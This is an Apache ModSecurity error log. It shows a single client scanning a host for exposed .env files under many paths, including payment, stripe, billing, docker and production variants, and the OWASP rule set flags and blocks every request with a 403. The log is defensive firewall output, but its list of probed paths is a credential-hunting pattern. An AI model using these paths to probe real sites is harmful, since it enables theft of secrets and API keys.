[Sat Nov 29 02:43:07.977972 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.env&quot;] [unique_id &quot;aSpPqyl2_ayZcB2mSooNggAAAAk&quot;]
[Sat Nov 29 02:43:07.978244 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.env&quot;] [unique_id &quot;aSpPqyl2_ayZcB2mSooNggAAAAk&quot;]
[Sat Nov 29 02:43:11.073306 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /payment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/payment/.env&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNgwAAAAk&quot;]
[Sat Nov 29 02:43:11.073537 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/payment/.env&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNgwAAAAk&quot;]
[Sat Nov 29 02:43:11.073727 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/payment/.env&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNgwAAAAk&quot;]
[Sat Nov 29 02:43:11.096102 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /checkout/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/checkout/.env&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNhAAAAAk&quot;]
[Sat Nov 29 02:43:11.096339 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/checkout/.env&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNhAAAAAk&quot;]
[Sat Nov 29 02:43:11.096552 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/checkout/.env&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNhAAAAAk&quot;]
[Sat Nov 29 02:43:11.118117 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stripe/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stripe/.env&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNhQAAAAk&quot;]
[Sat Nov 29 02:43:11.118383 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stripe/.env&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNhQAAAAk&quot;]
[Sat Nov 29 02:43:11.118587 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stripe/.env&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNhQAAAAk&quot;]
[Sat Nov 29 02:43:11.140345 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /billing/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/billing/.env&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNhgAAAAk&quot;]
[Sat Nov 29 02:43:11.140580 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/billing/.env&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNhgAAAAk&quot;]
[Sat Nov 29 02:43:11.140762 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/billing/.env&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNhgAAAAk&quot;]
[Sat Nov 29 02:43:11.224135 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNhwAAAAk&quot;]
[Sat Nov 29 02:43:11.224365 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNhwAAAAk&quot;]
[Sat Nov 29 02:43:11.224560 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNhwAAAAk&quot;]
[Sat Nov 29 02:43:11.300523 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNiAAAAAk&quot;]
[Sat Nov 29 02:43:11.300854 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNiAAAAAk&quot;]
[Sat Nov 29 02:43:11.301127 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNiAAAAAk&quot;]
[Sat Nov 29 02:43:11.322941 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNiQAAAAk&quot;]
[Sat Nov 29 02:43:11.323261 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNiQAAAAk&quot;]
[Sat Nov 29 02:43:11.323497 2025] [:error] [pid 395885] [client 195.178.110.155:49328] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aSpPryl2_ayZcB2mSooNiQAAAAk&quot;]
[Sat Nov 29 02:43:13.465691 2025] [:error] [pid 395860] [client 195.178.110.155:49338] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /conf/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aSpPsWGVbW32jAuRdZj-PQAAAAY&quot;]
[Sat Nov 29 02:43:13.465927 2025] [:error] [pid 395860] [client 195.178.110.155:49338] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aSpPsWGVbW32jAuRdZj-PQAAAAY&quot;]
[Sat Nov 29 02:43:13.466163 2025] [:error] [pid 395860] [client 195.178.110.155:49338] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aSpPsWGVbW32jAuRdZj-PQAAAAY&quot;]
[Sat Nov 29 02:43:13.487586 2025] [:error] [pid 395860] [client 195.178.110.155:49338] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aSpPsWGVbW32jAuRdZj-PgAAAAY&quot;]
[Sat Nov 29 02:43:13.487828 2025] [:error] [pid 395860] [client 195.178.110.155:49338] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aSpPsWGVbW32jAuRdZj-PgAAAAY&quot;]
[Sat Nov 29 02:43:13.488038 2025] [:error] [pid 395860] [client 195.178.110.155:49338] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aSpPsWGVbW32jAuRdZj-PgAAAAY&quot;]
[Sat Nov 29 02:43:13.513106 2025] [:error] [pid 395860] [client 195.178.110.155:49338] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aSpPsWGVbW32jAuRdZj-PwAAAAY&quot;]
[Sat Nov 29 02:43:13.513355 2025] [:error] [pid 395860] [client 195.178.110.155:49338] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aSpPsWGVbW32jAuRdZj-PwAAAAY&quot;]
[Sat Nov 29 02:43:13.513547 2025] [:error] [pid 395860] [client 195.178.110.155:49338] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aSpPsWGVbW32jAuRdZj-PwAAAAY&quot;]
[Sat Nov 29 02:43:13.537270 2025] [:error] [pid 395860] [client 195.178.110.155:49338] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aSpPsWGVbW32jAuRdZj-QAAAAAY&quot;]
